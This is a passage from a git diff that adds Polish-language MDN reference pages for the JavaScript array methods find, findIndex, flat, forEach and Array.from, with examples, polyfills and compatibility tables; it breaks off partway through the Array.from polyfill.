id="Description" name="Description">Opis</h2> + +<p>Metoda <code>find</code> wywołuje funkcję <code><var>callback</var></code> raz dla każdego indeksu tablicy, dopóki nie znajdzie takiego elementu, dla którego <em><code>callback</code></em> zwraca wartość <code>true</code>. Wówczas <code>find</code> natychmiast zwraca wartość tego elementu. W przeciwnym razie, gdy żaden z elementów nie spełni warunków funkcji testującej, <code>find</code> zwraca {{jsxref("undefined")}}.</p> + +<p><code><var>callback</var></code> jest wywoływany dla każdego indeksu tablicy, nie tylko tych z przypisanymi wartościami. Oznacza to, że może to być mniej efektywne w przypadku tablic rzadkich, w porównaniu z metodami, które odwiedzają jedynie indeksy z przypisanymi wartościami.</p> + +<p>Jeśli parametr <code><var>thisArg</var></code>jest przekazany do <code>find</code>, będzie użyty jako wartość <code>this</code> w każdym wywołaniu <code><var>callback</var></code>. Jeśli parametr ten nie jest przekazany, używana jest wartość {{jsxref("undefined")}}.</p> + +<p>Metoda <code>find</code> nie modyfikuje tablicy, na której jest wywoływana, ale może to robić funkcja przekazana do <code><var>callback</var></code>. Jeśli tak się stanie, elementy przetwarzane przez <code>find</code> są ustawiane <em>przed</em> pierwszym wywołaniem funkcji <code><em>callback</em></code>. Zatem:</p> + +<ul> + <li><code><var>callback</var></code> nie odwiedzi żadnych elementów dodanych do tablicy po rozpoczęciu wywowłania <code>find</code>.</li> + <li>Jeśli istniejący, jeszcze nieodwiedzony element tablicy jest zmieniony przez <code><em>callback</em></code>, jego wartość przekazana do <code><em>callback</em></code> będzie wartością w momencie, w którym <code>find</code> odwiedza indeks tego elementu.</li> + <li>Elementy {{jsxref("delete", "usunięte")}} dalej są odwiedzane.</li> +</ul> + +<h2 id="Polyfill">Polyfill</h2> + +<p>Metoda ta została dodana do specyfikacji ECMAScript 2015 i może nie być jeszcze dostępna we wszystkich implementacjach języka JavaScript. Niemniej jednak, możesz użyć <em>polyfill</em> z <code>Array.prototype.find</code> z poniższym fragmentem kodu:</p> + +<pre class="brush: js notranslate">// https://tc39.github.io/ecma262/#sec-array.prototype.find +if (!Array.prototype.find) { + Object.defineProperty(Array.prototype, 'find', { + value: function(predicate) { + // 1. Let O be ? ToObject(this value). + if (this == null) { + throw TypeError('"this" is null or not defined'); + } + + var o = Object(this); + + // 2. Let len be ? ToLength(? Get(O, "length")). + var len = o.length >>> 0; + + // 3. If IsCallable(predicate) is false, throw a TypeError exception. + if (typeof predicate !== 'function') { + throw TypeError('predicate must be a function'); + } + + // 4. If thisArg was supplied, let T be thisArg; else let T be undefined. + var thisArg = arguments[1]; + + // 5. Let k be 0. + var k = 0; + + // 6. Repeat, while k < len + while (k < len) { + // a. Let Pk be ! ToString(k). + // b. Let kValue be ? Get(O, Pk). + // c. Let testResult be ToBoolean(? Call(predicate, T, « kValue, k, O »)). + // d. If testResult is true, return kValue. + var kValue = o[k]; + if (predicate.call(thisArg, kValue, k, o)) { + return kValue; + } + // e. Increase k by 1. + k++; + } + + // 7. Return undefined. + return undefined; + }, + configurable: true, + writable: true + }); +} +</pre> + +<p>Jeśli potrzebujesz wspierać naprawdę przestarzałe silniki JavaScript, które nie wspierająt <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code>, najlepiej w ogóle nie używać <em>polyfill</em> z <code>Array.prototype</code>, gdyż nie da się go uczynić niewyliczeniowym.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Wyszukiwanie_obiektu_w_tablicy_na_podstawie_jednej_z_jego_własności">Wyszukiwanie obiektu w tablicy na podstawie jednej z jego własności</h3> + +<pre class="brush: js notranslate">const inventory = [ + {name: 'apples', quantity: 2}, + {name: 'bananas', quantity: 0}, + {name: 'cherries', quantity: 5} +]; + +function isCherries(fruit) { + return fruit.name === 'cherries'; +} + +console.log(inventory.find(isCherries)); +// { name: 'cherries', quantity: 5 }</pre> + +<h4 id="Użycie_funkcji_strzałkowej_i_destrukturyzacja">Użycie funkcji strzałkowej i destrukturyzacja</h4> + +<pre class="brush: js notranslate">const inventory = [ + {name: 'apples', quantity: 2}, + {name: 'bananas', quantity: 0}, + {name: 'cherries', quantity: 5} +]; + +const result = inventory.find( ({ name }) => name === 'cherries' ); + +console.log(result) // { name: 'cherries', quantity: 5 }</pre> + +<h3 id="Wyszukiwanie_liczby_pierwszej_w_tablicy">Wyszukiwanie liczby pierwszej w tablicy</h3> + +<p>Poniższy przykładowy kod znajduje element tablicy będący liczbą pierwszą (lub zwraca {{jsxref("undefined")}} jeśli w tablicy nie ma liczby pierwszej):</p> + +<pre class="brush: js notranslate">function czyPierwsza(element, indeks, tablica) { + let start = 2; + while (start <= Math.sqrt(element)) { + if (element % start++ < 1) { + return false; + } + } + return element > 1; +} + +console.log([4, 6, 8, 12].find(czyPierwsza)); // undefined, nie znaleziono +console.log([4, 5, 8, 12].find(czyPierwsza)); // 5 +</pre> + +<p>Poniższy przykład pokazuje, że nieistniejące i usunięte elementy <em>są</em> odwiedzane, oraz że wartość przekazana do <code><em>callback</em></code> jest ich wartością, kiedy są odwiedzane:</p> + +<pre class="brush: js notranslate">// Zadeklaruj tablicę bez elementów przy indeksach 2, 3 i 4 +const array = [0,1,,,,5,6]; + +// Pokazuje wszystkie indeksy, nie tylko te z przypisanymi wartościami +array.find(function(value, index) { + console.log('Odwiedzono indeks ', index, ' z wartością ', value); +}); + +// Pokazuje wszystkie indeksy, włączając usunięte +array.find(function(value, index) { + // Usuń element 5 w pierwszej iteracji + if (index === 0) { + console.log('Usuwanie array[5] z wartością ', array[5]); + delete array[5]; + } + // Element 5 jest wciąż odwiedzany, choć został usunięty + console.log('Odwiedzono indeks ', index, ' z wartością ', value); +}); +// Oczekiwane wyjście: +// Usuwanie array[5] z wartością 5 +// Odwiedzono indeks 0 z wartością 0 +// Odwiedzono indeks 1 z wartością 1 +// Odwiedzono indeks 2 z wartością undefined +// Odwiedzono indeks 3 z wartością undefined +// Odwiedzono indeks 4 z wartością undefined +// Odwiedzono indeks 5 z wartością undefined +// Odwiedzono indeks 6 z wartością 6 +</pre> + +<h2 id="Specifications" name="Specifications">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-array.prototype.find', 'Array.prototype.find')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Pierwotna definicja.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Wsparcie przeglądarek</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome("45.0")}}</td> + <td>{{CompatGeckoDesktop("25.0")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatSafari("7.1")}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoMobile("25.0")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>iOS 8</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also" name="See_also">Zobacz też</h2> + +<ul> + <li>{{jsxref("Array.prototype.findIndex()")}} {{experimental_inline}}</li> + <li>{{jsxref("Array.prototype.every()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/findindex/index.html b/files/pl/web/javascript/referencje/obiekty/array/findindex/index.html new file mode 100644 index 0000000000..86a9cf67cf --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/findindex/index.html @@ -0,0 +1,214 @@ +--- +title: Array.prototype.findIndex() +slug: Web/JavaScript/Referencje/Obiekty/Array/findIndex +translation_of: Web/JavaScript/Reference/Global_Objects/Array/findIndex +--- +<div>{{JSRef}}</div> + +<p>Metoda <code><strong>findIndex()</strong></code> zwraca <strong>indeks</strong> pierwszego elementu tablicy, który spełnia kryteria postawione w funkcji testującej. W przeciwnym wypadku zwraca -1.</p> + +<pre class="brush: js">function isBigEnough(element) { + return element >= 15; +} + +[12, 5, 8, 130, 44].findIndex(isBigEnough); +// zostanie zwrócony indeks czwartego elementu tablicy, +// który wynosi 3</pre> + +<p>Zobacz także metodę {{jsxref("Array.find", "find()")}}, która zwraca <strong>wartość</strong> znalezionego elementu, zamiast jego indeksu.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><var>arr</var>.findIndex(<var>callback</var>[, <var>thisArg</var>])</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>callback</code></dt> + <dd>Funkcja wywoływana dla każdej wartości w tablicy, bierze trzy argumenty:</dd> + <dd> + <dl> + <dt><code>element</code></dt> + <dd>Obecnie przetwarzany element z tablicy.</dd> + <dt><code>index</code></dt> + <dd>Indeks obecnie przetwarzanego elementu z tablicy.</dd> + <dt><code>array</code></dt> + <dd>Tablica, na której została wywołana funkcja <code>findIndex</code>.</dd> + </dl> + </dd> + <dt><code>thisArg</code></dt> + <dd>Opcjonalny. Obiekt do użycia jako <code>this </code>w czasie wykonywania <code>callback.</code></dd> +</dl> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Indeks elementu tablicy, który pomyślnie przeszedł test, jeśli taki nie zostanie znaleziony, zwraca <strong>-1</strong>.</p> + +<h2 id="Opis">Opis</h2> + +<p>Metoda <code>findIndex</code> wykonuje funkcję <code>callback</code> dla każdego indeksu tablicy 0..długość - 1 (włącznie) w tablicy dopóki nie znajdzie tego, na którym funkcja <code>callback</code> zwróci prawdę. Jeśli taki element zostanie znaleziony, <code>findIndex</code> natychmiast zwraca indeks dla tej iteracji. Jeśli callback nigdy nie zwróci prawdy lub wielkość tablicy wynosi 0, <code>findIndex</code> zwróci -1. W przeciwieństwie do innych metod tablicowych takich jak Array#some, w tablicach rzadkich <code>callback </code><strong>jest</strong> wywoływany nawet dla indeksów niewystępujących w tablicy.</p> + +<p><code>callback </code>jest wywoływany z trzema argumentami: wartością elementu, indeksem elementu i przetwarzaną tablicą.</p> + +<p>Jeśli <code>thisArg</code> jest dołączony do <code>findIndex</code>, zostanie użyty jako <code>this</code> dla każdego wywołania . Jeśli nie, zostanie użyte {{jsxref("undefined")}}.</p> + +<p><code>findIndex </code>nie zmienia tablicy na której jest wywoływany.</p> + +<p>Zakres elementów przetwarzanych przez <code>findIndex</code> jest ustawiany przed pierwszym wywołaniem funkcji <code>callback</code>. Elementy, które są dodane po rozpoczęciu wywołania funkcji <code>findIndex </code>nie będą przetworzone przez <code>callback</code>. Jeśli istniejący, nieodwiedzony element tablicy zostanie zmieniony przez <code>callback</code>, jego wartość przekazana do odwiedzającego <code>callback</code> będzie tą wartością z momentu, w którym <code>findIndex</code> odwiedzi indeks tego elementu, elementy usunięte, nie będą odwiedzone.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Znajdź_indeks_liczby_pierwszej_w_tablicy">Znajdź indeks liczby pierwszej w tablicy</h3> + +<p>Poniższy przykład znajduje indeks elementu w tablicy, który jest liczbą pierwszą (lub zwraca -1 jeśli nie w tablicy nie ma liczby pierwszej).</p> + +<pre class="brush: js">function isPrime(element, index, array) { + var start = 2; + while (start <= Math.sqrt(element)) { + if (element % start++ < 1) { + return false; + } + } + return element > 1; +} + +console.log([4, 6, 8, 12].findIndex(isPrime)); // -1, nie znaleziono +console.log([4, 6, 7, 12].findIndex(isPrime)); // 2 +</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-array.prototype.findIndex +if (!Array.prototype.findIndex) { + Object.defineProperty(Array.prototype, 'findIndex', { + value: function(predicate) { + // 1. Let O be ? ToObject(this value). + if (this == null) { + throw new TypeError('"this" ma wartość null lub undefined'); + } + + var o = Object(this); + + // 2. Niech len będzie ? ToLength(? Get(O, "length")). + var len = o.length >>> 0; + + // 3. Jeśli IsCallable(predicate) jest fałszem, rzuć wyjątek TypeError. + if (typeof predicate !== 'function') { + throw new TypeError('predykat musi być funkcją'); + } + + // 4. Jeśli thisArg został podany, niech T będzie thisArg; w przeciwnym wypadku, niech T będzie undefined. + var thisArg = arguments[1]; + + // 5. Let k be 0. + var k = 0; + + // 6. Powtarzaj, dopóki k < len + while (k < len) { + // a. Niech Pk będzie ! ToString(k). + // b. Niech kValue będzie ? Get(O, Pk). + // c. Niech testResult będzie ToBoolean(? Call(predicate, T, « kValue, k, O »)). + // d. Jeśli testResult jest prawdą, zwróć k. + var kValue = o[k]; + if (predicate.call(thisArg, kValue, k, o)) { + return k; + } + // e. Zwiększ wartość k o 1. + k++; + } + + // 7. Return -1. + return -1; + } + }); +} +</pre> + +<p>Jeśli musisz wspierać naprawdę przestarzałe silniki JavaScript, które nie wspierają <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code>, najlepiej nie korzystać z metod <code>Array.prototype</code> w ogóle, ponieważ nie można sprawić by były niepoliczalne.</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-array.prototype.findindex', 'Array.prototype.findIndex')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Podstawowa definicja.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.findIndex', 'Array.prototype.findIndex')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Edge</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome(45.0)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("25.0")}}</td> + <td>{{CompatNo}}</td> + <td>Tak</td> + <td>Tak</td> + <td>{{CompatSafari("7.1")}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>45.0</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("25.0")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>8.0</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>{{jsxref("Array.prototype.find()")}}</li> + <li>{{jsxref("Array.prototype.indexOf()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/flat/index.html b/files/pl/web/javascript/referencje/obiekty/array/flat/index.html new file mode 100644 index 0000000000..3c8de3a43c --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/flat/index.html @@ -0,0 +1,173 @@ +--- +title: Array.prototype.flat() +slug: Web/JavaScript/Referencje/Obiekty/Array/flat +translation_of: Web/JavaScript/Reference/Global_Objects/Array/flat +--- +<div>{{JSRef}}</div> + +<div></div> + +<p>Metoda <code><strong>flat()</strong></code> tworzy nową tablicę ze wszystkich elementów, które są podtablicami, łącząc je rekursyjnie z podanym parametrem jak głęboko powinno nastąpić spłaszczenie.</p> + +<p class="hidden">\{{EmbedInteractiveExample("pages/js/array-flatten.html")}}</p> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><var>var newArray = arr</var>.flat(<em>[depth]</em>);</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>depth</code> {{optional_inline}}</dt> + <dd>Parametr ten określa jak głęboko zagnieżdżona tablica powinna być spłaszczona. Wartość domyślna to 1.</dd> +</dl> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Nowa tablica składająca się z połączonych elementów podtablic.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Spłaszczanie_zagnieżdżonych_tablic">Spłaszczanie zagnieżdżonych tablic</h3> + +<pre class="brush: js">var arr1 = [1, 2, [3, 4]]; +arr1.flat(); +// [1, 2, 3, 4] + +var arr2 = [1, 2, [3, 4, [5, 6]]]; +arr2.flat(); +// [1, 2, 3, 4, [5, 6]] + +var arr3 = [1, 2, [3, 4, [5, 6]]]; +arr3.flat(2); +// [1, 2, 3, 4, 5, 6] +</pre> + +<h3 id="Spłaszczanie_i_puste_miejsca_tablicy">Spłaszczanie i puste miejsca tablicy</h3> + +<p>Metoda flat() usuwa puste miejsca w tablicy:</p> + +<pre class="brush: js">var arr4 = [1, 2, , 4, 5]; +arr4.flat(); +// [1, 2, 4, 5] +</pre> + +<h2 id="Alternatywa">Alternatywa</h2> + +<h3 id="reduce_i_concat"><code>reduce</code> i <code>concat</code></h3> + +<pre class="brush: js">var arr1 = [1, 2, [3, 4]]; +arr1.flat(); + +//to flat single level array +arr1.reduce((acc, val) => acc.concat(val), []);// [1, 2, 3, 4] + +//or +const flatSingle = arr => [].concat(...arr); +</pre> + + + +<pre class="brush: js">//to enable deep level flatten use recursion with reduce and concat +var arr1 = [1,2,3,[1,2,3,4, [2,3,4]]]; + +function flattenDeep(arr1) { + return arr1.reduce((acc, val) => Array.isArray(val) ? acc.concat(flattenDeep(val)) : acc.concat(val), []); +} +flattenDeep(arr1);// [1, 2, 3, 1, 2, 3, 4, 2, 3, 4] +</pre> + + + +<pre class="brush: js">//non recursive flatten deep using a stack +var arr1 = [1,2,3,[1,2,3,4, [2,3,4]]]; +function flatten(input) { + const stack = [...input]; + const res = []; + while (stack.length) { + // pop value from stack + const next = stack.pop(); + if (Array.isArray(next)) { + // push back array items, won't modify the original input + stack.push(...next); + } else { + res.push(next); + } + } + //reverse to restore input order + return res.reverse(); +} +flatten(arr1);// [1, 2, 3, 1, 2, 3, 4, 2, 3, 4] +</pre> + + + +<pre class="brush: js">//recursive flatten deep +function flatten(array) { + var flattend = []; + !(function flat(array) { + array.forEach(function(el) { + if (Array.isArray(el)) flat(el); + else flattend.push(el); + }); + })(array); + return flattend; +} +</pre> + + + +<h2 id="Polyfill">Polyfill</h2> + +<pre class="brush: js">if (!Array.prototype.flat) { + Array.prototype.flat = function(depth) { + var flattend = []; + (function flat(array, depth) { + for (let el of array) { + if (Array.isArray(el) && depth > 0) { + flat(el, depth - 1); + } else { + flattend.push(el); + } + } + })(this, Math.floor(depth) || 1); + return flattend; + }; +} +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td><a href="https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flat"><code>Array.prototype.flat</code> proposal</a></td> + <td>Finished (4)</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Array.flat")}}</p> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Array.prototype.flatMap()")}}</li> + <li>{{jsxref("Array.prototype.map()")}}</li> + <li>{{jsxref("Array.prototype.reduce()")}}</li> + <li>{{jsxref("Array.prototype.concat()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/foreach/index.html b/files/pl/web/javascript/referencje/obiekty/array/foreach/index.html new file mode 100644 index 0000000000..6968498311 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/foreach/index.html @@ -0,0 +1,104 @@ +--- +title: Array.prototype.forEach() +slug: Web/JavaScript/Referencje/Obiekty/Array/forEach +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/forEach +--- +<div>{{JSRef("Global_Objects", "Array")}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Wykonuje dostarczoną funkcję jeden raz na każdy element tablicy.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>arr</var>.forEach(<var>callback</var>[, <var>thisArg</var>])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>callback</code></dt> + <dd>Funkcja wykonywana dla każdego elementu.</dd> + <dt><code>thisArg</code></dt> + <dd>Obiekt na który będzie wskazywał <code>this</code>, gdy wykonana zostanie funkcja zwrotna <code>callback</code>.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>forEach</code> wykonuje dostarczoną funkcje <code>callback</code> raz dla każdego elementu tablicy. Funkcja <code>callback</code> wywoływana jest jedynie dla indeksów tablicy, którym została przypisana wartość; nie jest wywoływana dla indeksów, które zostały usunięte i tych, którym nigdy nie została przypisana żadna wartość.</p> + +<p>Funkcja <code>callback</code> jest wywoływana z trzema argumentami: wartością elementu, jego indeksem i obiektem tablicy, w którym się ten element zawiera.</p> + +<p>Jeśli parametr <code>thisArg</code> został dostarczony do metody <code>forEach</code>, będzie on wskazywany przez <code>this</code> dla każdego wywołania funkcji <code>callback</code>. W przypadku, gdy nie został on przekazany lub jego wartość jest równa <code>null</code>, <code>this</code> będzie się odnosić do obiektu globalnego połączonego z funkcją <code>callback</code>.</p> + +<p>Metoda <code>forEach</code> nie modyfikuje tablicy na której jest wywołana.</p> + +<p>Zakres elementów przetwarzanych przez <code>forEach</code> jest ustawiany przed pierwszym wywołaniem funkcji <code>callback</code>. Elementy dołączone do końca tablicy po momencie wywołania <code>forEach</code> nie są przesyłane do funkcji <code>callback</code>. Jeśli istniejące elementy tablicy są zmieniane lub usuwane, to wartość przesyłana do funkcji <code>callback</code> odpowiada wartości w momencie, w którym <code>forEach</code> się o nie zwróci; elementy usunięte zanim zostaną odwiedzone nie zostaną odwiedzone. Jeżeli element już odwiedzony zostanie usunięty (nastąpi skrócenie tablicy), element tablicy w kolejności po obecnie odwiedzanym zostanie pominięty.</p> + +<h3 id="Kompatybilno.C5.9B.C4.87" name="Kompatybilno.C5.9B.C4.87">Kompatybilność</h3> + +<p><code>forEach</code> jest rozszerzeniem JavaScript dla standardu ECMA-262, więc może nie być obecny w innych implementacjach tego standardu. Można to obejść, dopisując poniższy kod na początku skryptu, zezwalający na użycie <code>forEach</code> w implementacji ECMA-262, które nie wspierają tego natywnie.</p> + +<pre class="brush: js">if (!Array.prototype.forEach) +{ + Array.prototype.forEach = function(fun /*, thisp*/) + { + var len = this.length; + if (typeof fun != "function") + throw new TypeError(); + + var thisp = arguments[1]; + for (var i = 0; i < len; i++) + { + if (i in this) + fun.call(thisp, this[i], i, this); + } + }; +} +</pre> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Drukowanie_zawarto.C5.9Bci_tablicy" name="Przyk.C5.82ad:_Drukowanie_zawarto.C5.9Bci_tablicy">Przykład: Drukowanie zawartości tablicy</h3> + +<p>Następujący kod drukuje linie dla każdego elementu w tablicy (i przyjmuje obecność funkcji <code>print</code> do wywołania!):</p> + +<pre class="brush: js">function printElt(element, index, array) { + print("[" + index + "] jest " + element); +} +[2, 5, 9].forEach(printElt); +// Wydrukuje: +// [0] jest 2 +// [1] jest 5 +// [2] jest 9 +</pre> + +<h3 id="Przyk.C5.82ad:_Drukowanie_zawarto.C5.9Bci_tablicy_z_metod.C4.85_obiektu" name="Przyk.C5.82ad:_Drukowanie_zawarto.C5.9Bci_tablicy_z_metod.C4.85_obiektu">Przykład: Drukowanie zawartości tablicy z metodą obiektu</h3> + +<p>Następujący kod tworzy prosty obiekt wypisujący i następnie stosuje metodę <code>writeln</code> do wypisania jednej linii na element w tablicy (przyjmuje obecność funkcji <code>print</code> do wywołania!):</p> + +<pre class="brush: js">var writer = { + sb: [], + write: function (s) { + this.sb.push(s); + }, + writeln: function (s) { + this.write(s + "\n"); + }, + toString: function () { + return this.sb.join(""); + } +}; + +[2, 5, 9].forEach(writer.writeln, writer); +print(writer.toString()); + +// Wydrukuje: +// 2 +// 5 +// 9 +</pre> diff --git a/files/pl/web/javascript/referencje/obiekty/array/from/index.html b/files/pl/web/javascript/referencje/obiekty/array/from/index.html new file mode 100644 index 0000000000..bd5f0294de --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/from/index.html @@ -0,0 +1,248 @@ +--- +title: Array.from() +slug: Web/JavaScript/Referencje/Obiekty/Array/from +translation_of: Web/JavaScript/Reference/Global_Objects/Array/from +--- +<div>{{JSRef}}</div> + +<p><code><strong>Array.from() </strong></code> metoda tworzy nową instację tablicy z obiektu podobnego do tablicy lub obiektu iterowalnego.</p> + +<p>W ES2015, składania klas dopuszcza dziedziczenie obu rodzajów klas: wbudowanych oraz zdefiniowanych przez programistę; w rezultacie, statyczne metody jak <code><strong>Array.from</strong></code> są "dziedziczone" przez klasę pochodną i tworzą nową instancję klasy pochodnej, a nie klasy <code><strong>Array</strong></code>.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code>Array.from(arrayLike[, mapFn[, thisArg]]) +</code></pre> + +<h3 id="Argumenty">Argumenty</h3> + +<dl> + <dt><code>arrayLike</code></dt> + <dd>Obiekt podobny do tablicy lub iterowalny.</dd> + <dt><code>mapFn</code></dt> + <dd>Opcjonalny. Funkcja mapująca wywoływany z każdym elementem tablicy.</dd> + <dt><code>thisArg</code></dt> + <dd>Opcjonalny. Wartość używana jako <code>this</code> podczas wykonywania <code>mapFn</code>.</dd> +</dl> + +<h2 id="Opis">Opis</h2> + +<p><code>Array.from()</code> pozwala tworzyć tablicę z:</p> + +<ul> + <li>obiektu podobnego do tablicy (obiekt z właściwością <code>length</code> property oraz liczbowymi elementami)</li> + <li><a href="/en-US/docs/Web/JavaScript/Guide/iterable">iterable objects</a> (objects where you can get its elements, such as {{jsxref("Map")}} and {{jsxref("Set")}}).</li> +</ul> + +<p><code>Array.from()</code> has an optional parameter <code>mapFn</code>, which allows you to execute a {{jsxref("Array.prototype.map", "map")}} function on each element of the array (or subclass object) that is being created. More clearly,<code> Array.from(obj, mapFn, thisArg)</code> is the same as <code>Array.from(obj).map(mapFn, thisArg)</code>, except that it does not create an intermediate array. This is especially important for certain array subclasses, like <a href="/en-US/docs/Web/JavaScript/Typed_arrays">typed arrays</a>, since the intermediate array would necessarily have values truncated to fit into the appropriate type.</p> + +<p>The <code>length</code> property of the <code>from()</code> method is 1.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<pre class="brush: js">// Array-like object (arguments) to Array +function f() { + return Array.from(arguments); +} + +f(1, 2, 3); +// [1, 2, 3] + + +// Any iterable object... +// Set +var s = new Set(["foo", window]); +Array.from(s); +// ["foo", window] + + +// Map +var m = new Map([[1, 2], [2, 4], [4, 8]]); +Array.from(m); +// [[1, 2], [2, 4], [4, 8]] + + +// String +Array.from("foo"); +// ["f", "o", "o"] + + +// Using an arrow function as the map function to +// manipulate the elements +Array.from([1, 2, 3], x => x + x); +// [2, 4, 6] + + +// Generate a sequence of numbers +Array.from({length: 5}, (v, k) => k); +// [0, 1, 2, 3, 4] + +</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p><code>Array.from</code> was added to the ECMA-262 standard in the 6th edition; as such it may not be present in other implementations of the standard. You can work around this by inserting the following code at the beginning of your scripts, allowing use of <code>Array.from</code> in implementations that don't natively support it. This algorithm is exactly the one specified in ECMA-262, 6th edition, assuming <code>Object</code> and <code>TypeError</code> have their original values and that <code>callback.call</code> evaluates to the original value of {{jsxref("Function.prototype.call")}}. In addition, since true iterables can not be polyfilled, this implementation does not support generic iterables as defined in the 6th edition of ECMA-262.</p> + +<pre class="brush: js">// Production steps of ECMA-262, Edition 6, 22.1.2.1 +// Reference: https://people.mozilla.org/~jorendorff/es6-draft.html#sec-array.from +if (!Array.from) { + Array.from = (function () { + var toStr = Object.prototype.toString; + var isCallable = function (fn) { + return typeof fn === 'function' || toStr.call(fn) === '[object Function]'; + }; + var toInteger = function (value) { + var number = Number(value); + if (isNaN(number)) { return 0; } + if (number === 0 || !isFinite(number)) { return number; } + return (number > 0 ? 1 : -1) * Math.floor(Math.abs(number)); + }; + var maxSafeInteger = Math.pow(2, 53) - 1; + var toLength = function (value) { + var len = toInteger(value); + return Math.min(Math.max(len, 0), maxSafeInteger); + }; + + // The length property of the from method is 1. + return function from(arrayLike/*, mapFn, thisArg */) { + // 1. Let C be the this value. + var C = this; + + // 2. Let items be ToObject(arrayLike). + var items = Object(arrayLike); + + // 3. ReturnIfAbrupt(items). + if (arrayLike == null) { + throw new TypeError("Array.from requires an array-like object - not null or undefined"); + } + + // 4. If mapfn is undefined, then let mapping be false. + var mapFn = arguments.length > 1 ? 